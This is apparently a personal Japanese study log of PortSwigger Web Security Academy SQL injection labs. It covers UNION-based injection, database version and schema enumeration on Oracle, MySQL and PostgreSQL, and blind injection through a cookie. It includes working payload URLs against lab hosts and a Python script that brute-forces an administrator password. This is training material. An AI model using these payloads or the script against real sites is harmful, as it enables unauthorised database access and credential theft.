はじめに
Burpsuiteの開発元の会社が、Webセキュリティの解説ページ(英語)を提供しています。
それを勉強したときの個人的な記録です。
SQL Injectionの解説ページ
URLのパラメータを工夫して、
サーバ側で実行されるSQLに細工すると、通常では見えないデータが見えることがある。
通常のリクエストで実行されるSQL
https://insecure-website.com/products?category=Gifts
->
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
'
と--
を上手くつかうと、常に成立する条件式にできる。
https://insecure-website.com/products?category=Gifts'+OR+1=1--
->
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
Subverting application logic
SQL Injection でパスワード判定を読み飛ばすことができる。
通常のログイン
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
SQLIを使うと、
User: administrator'--
Pass: tekitou
->
SELECT * FROM users WHERE username = 'administrator'--' AND password = tekitou'
SQL Injection Uniton Attack
Determining the number of columns required in an SQL injection UNION attack
unionを使うことで、クエリーに対するレスポンスのカラム数を調べることができる。
unionは下記のように2つのselect文を結合することができるが、
それぞれのselect文のレスポンスに含まれるカラム数が一致してなければエラーとなる。
また、それぞれのレスポンスの型も一致している必要がある。
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
SQLiで下記のようにNULLと比較していき、
エラーが発生しない場合のNULLの個数がレスポンスのカラム数となる。
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
こっちでも良い
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
Finding columns with a useful data type in an SQL injection UNION attack
同様の発想で、レスポンスの型をカラムごとに推察することができる。
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
lab
labは下記でOKだった。
なお、27ju0ZFn
は問題条件で与えられている。
https://ac7a1f231e01348fc07611b30004008f.web-security-academy.net/filter?category=Lifestyle%27union+select+null,%27ju0ZFn%27,null--
Using an SQL injection UNION attack to retrieve interesting data
下記が分かればSQLiで、秘匿情報を取得できることになる。
- レスポンスのカラム数
- レスポンスの型
- テーブル名
- カラム名
lab
labでは、テーブル名とカラム名は前提条件として与えられている。
The database contains a different table called
users
, with columns calledusername
andpassword
.
カラム数が2個でそれぞれが文字列なことを確かめた後、下記リクエストを投げると、
ページ内にユーザ一覧とパスワードが表示された。
https://acbc1f071fd1f67bc0b0442b00690077.web-security-academy.net/filter?category=Gifts'+union+select+username,password+from+users--
carlos
q8wpl88egpzzm532awyc
wiener
wbns9vu1iumv909zonoe
administrator
ny1xgw6dwrhpz7ak503k
あとは、administratorとしてログインすればクリアとなる。
Examining the database in SQL injection attacks
DB自体の情報を集める手法について学ぶ。
Querying the database type and version
Union Attackで下記クエリを投げることで、データベースの種類を調べることができる。
type | Query |
---|---|
MS, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
lab
とりあえず、DBの種類を調べてみると、Oracleを使っているようだ。
/filter?category=Gifts'union+select+@@version--
Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'
Orcleはdual
という組み込みテーブルがあるので、
それを使って、DBのカラム数と型を調べていく。
下記のリクエストでサーバエラーとならなかったので、
カラム2個でそれぞれ文字列なことが分かった。
'union+select+null,null+from+dual--
'union+select+'a','b'+from+dual--
あとは、Orcleのversionを問い合わせる。
SQL Cheat-SheetのDatabase versionを見ると下記の通り。
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
これをもとにUnion Attackを考えると、下記となると思ったが、
エラーとなった。
'union+SELECT+banner,version+FROM+v$version--
versionを知りたい場合は、そこのnullしないとダメらしい。
'union+SELECT+banner,null+FROM+v$version--
lab
まずはカラム数を確認する。
下記の形でNULLをいろいろな数で試すがすべてダメだった。
これはダメだった
'UNION+SELECT+NULL,NULL--
SQL Cheat-Sheetのコメントを見ると、 MySQLの場合は、--
の末尾にスペースが必要とのこと。
下記のリクエストが成功したため、MySQLであること、カラムは2個必要なことがわかった。
'UNION+SELECT+NULL,NULL--+
あとは、MySQLのversionを問い合わせるだけでクリアとなった。
'UNION+SELECT+@@version,null--+
Listing the contents of the database
Oracle以外のDBならinformation schemaと呼ばれる情報にアクセスできる。
- テーブルの一覧取得
SELECT * FROM information_schema.tables
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
- カラムの一覧取得
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
lab
Union Atackを駆使しながら、テーブル名、カラム名を見つけ出し、管理者のアカウントにログインできればクリアとなる。
まずはこのページの、レスポンスのカラム数を確認すると2個だった。Oracleではない。(コメントアウト--
で見分けれた)
information_schema.tablesをググると、table_nameというカラムがあることがわかるので、下記Union Attackでテーブル一覧を取得できる、。
https://ac8b1fc51f2c5ba2c0998fe300c70049.web-security-academy.net/filter?category=Pets%27+union+select+table_name,null+from+information_schema.tables--
ユーザー名に関係しそうなテーブルを探すと、users_wbxexp
というのが怪しそうだった。
このテーブルのカラム名を表示してみる。
https://ac9e1fa11f7c00bbc05aa1ff00d30087.web-security-academy.net/filter?category=Gifts%27union+select+column_name,null+from+information_schema.columns+WHERE%20table_name=%27users_wbxexp%27--
username_ipmzug
password_rclrcf
27users_wbxexp
テーブルに、
username_ipmzug
カラムとpassword_rclrcf
カラムがあることが分かった。
このカラムに格納されているデータを表示すると、
administrator/1881fpa6wls6b0pbbbgk
が得られたので、ログインしてクリア。
'union+select+username_ipmzug,password_rclrcf+from+users_wbxexp--
administrator
1881fpa6wls6b0pbbbgk
Equivalent to information schema on Oracle
Oracleの場合でも、クエリは異なるがテーブル名一覧、カラム名一覧は取得できる。
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
lab
Oracleのデータベースに対して、管理者のIDとパスワードを取得する問題
カラム数は2だった。
'union+select+null,null+from+dual--+
テーブル名一覧を表示させて、
ユーザー情報がありそうなテーブル名は下記2つだった。
'union+select+table_name,null+from+all_tables--+
USER$
USERS_UEMNTX
それぞれのテーブル名のカラムをチェックすると、
USERS_UEMNTX
テーブルのカラム名が重要そうだった。
'union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UEMNTX'--+
USERNAME_DLCRUI
PASSWORD_KUHMNR
それぞれのカラムを表示すると、管理者のID/PWが取得できた。
ログインしたらクリアとなった。
'union+select+USERNAME_DLCRUI,PASSWORD_KUHMNR+from+USERS_UEMNTX--+
administrator
dh22inzfycvwdj12ze45
Retrieving multiple values within a single column
クエリに対するレスポンスが1カラムの場合は、
文字列連結を使うことで複数カラムの情報を1カラム分として取得できる。
Oracleの場合は、||
で文字列連結する。
' UNION SELECT username || '~' || password FROM users--
lab
DB名を探して、カラム名を探して管理者としてログインする問題。
カラムは2個のようだ。
'union+select+null,null--
PostgresSQLを使っている。
'union+select+version(),null--
PostgreSQL 11.14 (Debian 11.14-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit
テーブル一覧をみるとusers_zmudin
テーブルが怪しい。
'union+select+table_name,null+FROM+information_schema.tables--
users_zmudin
カラム名を見てみる。
'union+select+column_name,null+FROM+information_schema.columns+WHERE+table_name='users_zmudin'--
username_oyvsbv
password_mibfgx
それぞれのカラム名で表示してみると、ID/PWが取得できた。
'union+select+username_oyvsbv,password_mibfgx+FROM+users_zmudin--
administrator
iebmd14w457mus3eddlg
lab
カラム数と文字列型の場所を探してみると、
カラム数は2個で、2個目が文字列型だった。
'union+select+null,'a'--
usernameとpasswrodというカラム名で、
usersテーブルがあることは問題文に明示されているため、
それぞれの文字列を連結すれば表示できた。
'union+select+null,username+||'~'||+password+from+users--
Blind Injection
Exploiting blind SQL injection by triggering conditional responses
クッキーを細工してSQLiを実行できる場合もある。
ブラウザからTrackingId
という値をもとにサーバー側でユーザー認証をする場合、
下記のようなSQLが実行されると想定できる。
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
この場合、TrackingIdを下記のように変更するとSQLiとなる。
TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='1'
lab
Union Attackを試してみると、nullの個数に関係なく毎回成功(200)が返ってくるため、
DBの構造を読むことができなかった。
Cookieの中にTrackingId
という独自のフィールドがあり、
そこにSQLiを仕込む余地がある。
'AND '1'='1 こっちは成功
'AND '1'='0 こっちは失敗
'AND (select substring(password,1,1) from users WHERE username='administrator')='§b§
Burpsuiteで1個づつ調べていくと良いのだが、
面倒で時間がかかる過ぎるとタイムアップしてしまうため、
pythonのwriteupを見た。
import requests
import sys
def blind_sql_injection(url, length):
output = ''
target = url
headers={}
for i in range(1, length+1):
base_cookie = "TrackingId=a'UNION SELECT 'a' from users WHERE username = 'administrator' and (ascii(substring(password,%s,1)))=[CHAR]--; session=Rict9ulgAu63wgQ3vkcsbQ9vfVUPsGBo"%str(i)
for j in range(32,126):
print("Currently trying digit %s with: "%str(i), chr(j))
cookie = base_cookie.replace("[CHAR]",str(j))
headers["cookie"]=cookie
res = requests.get(url, headers=headers)
if "Welcome" in res.content.decode('utf-8'):
output += chr(j)
break
print("Current password: ", output)
url = "https://acff1f841e04dc72802261c1003500e8.web-security-academy.net/"
blind_sql_injection(url, 20)